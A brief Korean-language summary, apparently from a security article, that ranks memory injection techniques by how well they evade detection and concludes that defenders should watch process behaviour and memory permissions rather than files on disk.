Memory Injection 기법은 점점 파일 흔적을 줄이는 방향으로 발전했습니다.

DLL Injection(파일 있음)Reflective DLL(파일 없음)Hollowing(프로세스 위장)Doppelgänging(파일시스템 속임) 순으로 탐지 회피 수준이 높아집니다.

그러나 어떤 기법이든 메모리에서 동작하는 이상 PAGE_EXECUTE_READWRITE 같은 흔적이 남습니다.

탐지의 핵심은 파일을 찾는 것이 아니라 행동과 메모리 상태를 보는 것입니다.